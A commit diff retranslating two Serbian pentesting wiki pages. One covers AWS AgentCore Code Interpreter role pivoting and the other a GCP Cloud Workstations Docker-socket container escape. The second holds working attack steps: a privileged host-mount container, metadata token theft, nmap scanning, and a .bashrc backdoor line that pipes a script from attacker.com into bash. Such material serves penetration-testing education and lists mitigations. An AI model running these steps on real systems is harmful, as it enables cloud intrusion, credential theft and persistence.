Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-02-13 10:33:57 +00:00
parent fecd661784
commit 7fd47badad
2 changed files with 38 additions and 38 deletions
@@ -6,32 +6,32 @@
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter je upravljano izvršno okruženje. **Custom Code Interpreters** se mogu konfigurisati sa **`executionRoleArn`** koji „obezbeđuje dozvole za Code Interpreter da pristupi AWS services“.
AgentCore Code Interpreter je upravljano izvršno okruženje. **Custom Code Interpreters** se mogu konfigurisati sa **`executionRoleArn`** koji „obezbeđuje dozvole code interpreteru da pristupi AWS servisima“.
Ako **lower-privileged IAM principal** može **start + invoke** Code Interpreter sesiju koja je konfigurisana sa **more privileged execution role**, pozivalac može efektivno **pivot into the execution roles permissions** (lateral movement / privilege escalation u zavisnosti od opsega role).
Ako **lower-privileged IAM principal** može **start + invoke** Code Interpreter sesiju koja je konfigurirana sa **more privileged execution role**, pozivač može efikasno **pivot into the execution roles permissions** (lateral movement / privilege escalation u zavisnosti od opsega role).
> [!NOTE]
> Ovo je tipično pitanje **misconfiguration / excessive permissions** (dodeljivanje širokih dozvola interpreter execution role i/ili dodeljivanje širokog invoke pristupa).
> AWS izričito upozorava da se izbegne privilege escalation tako što će execution roles imati **jednake ili manje** privilegije od identiteta kojima je dozvoljeno invoke.
> Ovo je tipično problem **misconfiguration / excessive permissions** (dodeljivanje širokih dozvola interpreter execution role i/ili dodeljivanje broad invoke pristupa).
> AWS izričito upozorava da se izbegne privilege escalation tako što će execution roles imati **equal or fewer** privilegija nego identiteti kojima je dozvoljeno invoke.
#### Preduslovi (common misconfiguration)
- Postoji **custom code interpreter** sa preterano privilegovanim **execution role** (npr: pristup osetljivim S3/Secrets/SSM ili IAM-admin-like sposobnostima).
- Postoji **custom code interpreter** sa previše privilegovanim **execution role** (ex: pristup osetljivim S3/Secrets/SSM ili IAM-admin-like capabilities).
- Korisnik (developer/auditor/CI identity) ima dozvole za:
- pokretanje sesija: `bedrock-agentcore:StartCodeInterpreterSession`
- pozivanje alata: `bedrock-agentcore:InvokeCodeInterpreter`
- (Opcionalno) Korisnik takođe može kreirati interpretere: `bedrock-agentcore:CreateCodeInterpreter` (omogućava im da kreiraju novog interpreter-a konfigurisanu sa execution role, u zavisnosti od org guardrails).
- pokretanje sesija: `bedrock-agentcore:StartCodeInterpreterSession`
- pozivanje alata: `bedrock-agentcore:InvokeCodeInterpreter`
- (Opcionalno) Korisnik može i da kreira interpretere: `bedrock-agentcore:CreateCodeInterpreter` (omogućava im da kreiraju novog interpretera konfigurisanog sa execution role, zavisno od organizacijskih ograničenja).
#### Recon (identify custom interpreters and execution role usage)
Lista interpretera (control-plane) i pregled njihove konfiguracije:
Pobrojite interpretere (control-plane) i pregledajte njihovu konfiguraciju:
```bash
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
````
> The create-code-interpreter command podržava `--execution-role-arn` koji definiše koje AWS dozvole će interpreter imati.
> create-code-interpreter komanda podržava `--execution-role-arn` koja definiše koje će AWS dozvole interpreter imati.
#### Korak 1 - Pokrenite sesiju (ovo vraća `sessionId`, ne interactive shell)
#### Korak 1 - Pokrenite sesiju (ovo vraća `sessionId`, not an interactive shell)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
echo "SessionId: $SESSION_ID"
```
#### Korak 2 - Pokretanje izvršavanja koda (Boto3 ili signed HTTPS)
#### Korak 2 - Pozivanje izvršavanja koda (Boto3 ili potpisani HTTPS)
Ne postoji **interaktivni python shell** iz `start-code-interpreter-session`. Izvršavanje se dešava putem **InvokeCodeInterpreter**.
**Opcija A - Boto3 primer (izvršavanje Python koda + provera identiteta):**
**Opcija A - Boto3 primer (izvrši Python + verifikuj identitet):**
```python
import boto3
@@ -68,9 +68,9 @@ arguments={
for event in resp.get("stream", []):
print(event)
```
Ako je interpreter podešen sa execution role, izlaz `sts:GetCallerIdentity()` treba da odražava identitet te role (not the low-priv caller), demonstrirajući pivot.
Ako je interpreter konfigurisan sa izvršnom ulogom, izlaz `sts:GetCallerIdentity()` treba da odražava identitet te uloge (ne niskoprivilegovanog pozivaoca), demonstrirajući pivot.
**Opcija B - Potpisani HTTPS poziv (awscurl):**
**Option B - Potpisani HTTPS poziv (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
@@ -89,18 +89,18 @@ awscurl -X POST \
```
#### Uticaj
* **Lateral movement** na bilo koji AWS pristup koji interpreter execution role ima.
* **Privilege escalation** ako interpreter execution role ima više privilegija od pozivaoca.
* Teže otkrivanje ako CloudTrail data events za interpreter invocations nisu omogućeni (invocations možda neće biti registrovane podrazumevano, zavisno od konfiguracije).
* **Lateral movement** u bilo koji AWS pristup koji poseduje izvršna uloga interpretera.
* **Privilege escalation** ako je izvršna uloga interpretera privilegovanija od pozivaoca.
* Teža detekcija ako CloudTrail data events za pozive interpretera nisu omogućeni (pozivi možda neće biti zabeleženi po defaultu, zavisno od konfiguracije).
#### Ublažavanje / Ojačavanje
#### Mitigations / Hardening
* **Least privilege** na interpreter `executionRoleArn` (postupajte sa njim kao sa Lambda execution roles / CI roles).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) i ko može da započne sesije.
* Koristite **SCPs** da odbijete InvokeCodeInterpreter osim za odobrene agent runtime roles (može biti neophodno sprovođenje na nivou organizacije).
* Omogućite odgovarajuće **CloudTrail data events** za AgentCore gde je primenljivo; postavite upozorenja na neočekivane invocations i kreiranje sesija.
* **Least privilege** na interpreter `executionRoleArn` (tretirati ga kao Lambda execution roles / CI roles).
* **Ograničiti ko može pozivati** (`bedrock-agentcore:InvokeCodeInterpreter`) i ko može pokretati sesije.
* Koristiti **SCPs** da zabrane InvokeCodeInterpreter osim za odobrene agent runtime role (sprovođenje na nivou organizacije može biti neophodno).
* Omogućiti odgovarajuće **CloudTrail data events** za AgentCore gde je primenjivo; podesiti alert za neočekivane pozive i kreiranje sesija.
## Referencije
## References
- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
@@ -3,16 +3,16 @@
### Container Breakout via Docker Socket (Container -> VM -> Project)
Glavni put za eskalaciju privilegija u Cloud Workstations proističe iz potrebe da se podrže **Docker-in-Docker (DinD)** workflow-i za developere. Ako konfiguracija workstation-a mount-uje Docker socket ili omogućava privileged containers (česta konfiguracija), napadač unutar workstation containera može izbeći u osnovni Compute Engine VM i ukrasti njegov service account token.
Primarni put za eskalaciju privilegija u Cloud Workstations proističe iz potrebe da se podrže **Docker-in-Docker (DinD)** workflows za developere. Kada konfiguracija workstation-a montira Docker socket ili dozvoljava privileged containers (uobičajena konfiguracija), napadač unutar workstation kontejnera može pobeći na podložni Compute Engine VM i ukrasti njegov service account token.
**Preduslovi:**
- Pristup Cloud Workstation terminalu (preko SSH, kompromitovane sesije ili ukradenih kredencijala)
- Konfiguracija workstation-a mora da mount-uje `/var/run/docker.sock` ili omogući privileged containers
- Pristup Cloud Workstation terminalu (putem SSH, kompromitovane sesije, ili ukradenih kredencijala)
- Konfiguracija workstation-a mora montirati `/var/run/docker.sock` ili omogućiti privileged containers
**Kontekst arhitekture:** Workstation je container (Layer 3) koji radi na Docker/Containerd runtime-u (Layer 2) na GCE VM-u (Layer 1). Docker socket daje direktan pristup container runtime-u na hostu.
**Arhitektonski kontekst:** Workstation je kontejner (Layer 3) koji se izvršava na Docker/Containerd runtime-u (Layer 2) na GCE VM-u (Layer 1). Docker socket daje direktan pristup host-ovom container runtime-u.
> [!NOTE]
> Alat [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizuje kompletan container escape i ostavlja vas u root shell na host VM-u.
> Alat [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizuje kompletan container escape i otvara vam root shell na host VM-u.
<details>
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
<details>
<summary>Korak 2: Bekstvo na fajl sistem host VM-a</summary>
<summary>Korak 2: Bekstvo u fajl sistem host VM-a</summary>
Pokrećemo privilegovani kontejner, montirajući root direktorijum hosta na `/mnt/host`. Takođe delimo hostovu mrežu i PID namespace da bismo maksimizirali vidljivost.
Pokrećemo privilegovani kontejner, montirajući korenski direktorijum hosta na `/mnt/host`. Takođe delimo mrežu hosta i PID namespace kako bismo maksimizirali vidljivost.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
</details>
> [!CAUTION]
> **Check the Scopes!**
> Čak i ako priloženi Service Account ima ulogu **Editor**, VM može biti ograničen access scopes-ima.
> Ako vidite `https://www.googleapis.com/auth/cloud-platform`, imate potpuni pristup.
> Ako vidite samo `logging.write` i `monitoring.write`, ograničeni ste na **Network Pivot** i **Persistence** vektore ispod.
> **Proverite pristupne scope-ove!**
> Čak i ako je priloženi Service Account **Editor**, VM može biti ograničen pristupnim scope-ovima.
> Ako vidite `https://www.googleapis.com/auth/cloud-platform`, imate pun pristup.
> Ako vidite samo `logging.write` i `monitoring.write`, ograničeni ste na vektore **Network Pivot** i **Persistence** navedene dole.
<details>
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
<summary>Korak 4: Achieve Persistence (Backdoor the User)</summary>
Cloud Workstations mount a persistent disk to `/home/user`. Pošto container user (obično `user`, UID 1000) odgovara host user (UID 1000), možete pisati u home direktorijum hosta. Ovo vam omogućava da backdoor the environment čak i ako se workstation container ponovo izgradi.
Cloud Workstations montiraju persistent disk na `/home/user`. Pošto se container user (obično `user`, UID 1000) poklapa sa host user-om (UID 1000), možete pisati u home direktorijum hosta. Ovo vam omogućava da ubacite backdoor u okruženje čak i ako se workstation container ponovo izgradi.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
Pošto delite host network namespace (`--net=host`), sada ste pouzdan čvor na VPC-u. Možete skenirati interne servise koji omogućavaju pristup zasnovan na IP whitelisting.
Pošto delite host network namespace (`--net=host`), sada ste pouzdan čvor u VPC-u. Možete skenirati interne servise koji dozvoljavaju pristup na osnovu IP whitelisting-a.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap